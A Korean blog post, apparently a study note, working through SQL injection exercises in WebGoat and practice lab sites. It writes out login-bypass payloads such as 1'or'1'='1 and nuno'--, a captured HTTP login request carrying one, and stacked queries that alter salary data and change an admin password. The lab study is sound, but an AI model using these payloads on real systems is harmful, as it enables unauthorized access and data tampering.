본문 바로가기
Web Hacking

13. String SQL Injection (Webgoat)

by 귀멸 2022. 7. 29.

0. SQL Injection  
사용자가 서버에 제출한 데이터가 SQL Query로 사용되어 Database나 시스템에 영향을 주는 공격기법
SQL Injection은 웹 해킹으로 분류하나 Database 해킹 기법임
  
 - 효과
  1) 웹 어플리케이션 인증 우회
  2) Database 덤프, 조작, 파괴
  3) 시스템 커맨드의 실행 (주로 MS-SQL 에서 발생)
  4) 시스템 주요 파일 노출

 

1. 웹 어플리케이션의 일반적인 인증 절차
  1) ID / Password 입력
  2) SQL Query 생성
  3) Database에 쿼리 전송                        :  변조된 혹은 비정상적인 쿼리를 전송시킨다
  4) Database에서 Query실행
  5) 반환되는 Return 값에 따라 인증 여부판단

2. webgoat 3.7 string SQL Injection

Step1. webgoat 실행

윈도우 실행창 services.msc /기존 apm service를 종료해두고 webgoat 3.7 설치 후 webgoat.bat 실행하여 Tomcat 실행
웹브라우저에서 http://localhost/WebGoat/attack 
id / pw : webgoat

Step2. 문제 접속 및 해결

 1) Injection Flaws - Numeric SQL injection

accout에 해당 하는 정보만 불러오게 되어 있는 페이지에서

서버가 가지고 있는 모든 회원 정보를 불러 오도록 SQL Injection을 실시


101 or 1=1 을 넣어서

SELECT * FROM user_data WHERE userid = 101 or 1=1
where절에 or 1=1를 삽입함으로서 무조건적인 참을 유도한다.

 

  2)  Injection Flaws - String SQL Injection

last_name에 해당되는 정보만 불러오게되어 있는 페이지에서

모든 카드 정보를 불러올 수 있게 String SQL Injection 

 


Smith' or '*  이렇게 삽입하여 아래처럼 SQL 구문이 실행되도록한다.
SELECT * FROM user_data WHERE last_name = 'Smith' or '*'

 

3. webgoat5.4버전 String SQL Injection

  1) Injection Flaws - LAB:SQL Injection stage 1 : string SQL Injection

 

위에서 시도 했던 것 처럼 'or'1'='1 구문으로 시도하려고 했으나 password가 8자리까지 밖에 입력이 안됨

'or'1'='1을 웹 프록시를 이용해 넘겨주는 방법도 있으나,

'or''='로 인젝션 시도 성공

 

  2) Injection Flaws - Database Backdoors

101 User id로 접속하면 비밀번호 SSN, salary등이 보이는 데 해당 필드를 이용해 salary 데이터 변조를 시도

어떻게 구문이 전달되는 지 화면에 보여줌으로 101;로 select 구문을 종료 시키고 

update 구문을 이용해 변조된 정보 삽입 시도


아래 구문으로 시도하면 성공
101; update employee set salary=999999 where userid=101

 

 

4. Webserver login form에서 injection 시도
ID : nuno
PW : 1'or'1'='1  성공

POST http://192.168.1.20/member/member_login_check.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.20/member/member_login.asp
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Paros/3.2.13
Host: 192.168.1.20
Content-Length: 41
Pragma: no-cache
Cookie: ASPSESSIONIDQADTCQBQ=IGEDODFBGPPKKIFHPKINFDIF

user_id=nuno&user_pw=1%27or%271%27%3D%271

strSQL="select user_id, user_pw, name, email, homepage from member 
where user_id='"&id&"' and user_pw='"&password&"'" 해당 SQL 쿼리문

인터넷 옵션 - 고급 - HTTP 오류메세지 표시 해제
로그인 ' 넣고 로그인해보면 아래 메세지 노출

Microsoft OLE DB Provider for SQL Server error '80040e14' 
'' and user_pw='' 문자열 앞에 닫히지 않은 인용 부호가 있습니다. 
/member/member_login_check.asp, line 13 

 

 

[실습 1]
- Webhack 사이트의 로그인 페이지에서 SQL Injection을 이용해 로그인하라!
 (or을 사용하지 않은 다른 방식으로 해결)
nuno
'+select user_pw from member where user_id ='nuno'+'
where user_id='"&id&"' and user_pw='"&password&"'

-- 주석을 이용해서 뒷편을 다 무력화 한다.
nuno'--

 


[실습 2]
- Camel의 숨겨진 관리자 페이지를 찾고 관리자 계정을 탈취하라
1'or'1'='1     admin 1234
- 관리자 페이지의 Login 창을 이용해 관리자 패스워드를 변경하라!

sql=sql&" WHERE admin_ID = 'admin'"
sql=sql&" AND admin_Pass = 1234' use camel update admin set admin_Pass='4321"

sql=sql&" AND admin_Pass = '   ' "

기존 쿼리를 끝내기 위해 ;  스페이스바는 인코딩 + 값을 준다
1234';update+admin+set+admin_pass='4321'+where+admin_id='admin

댓글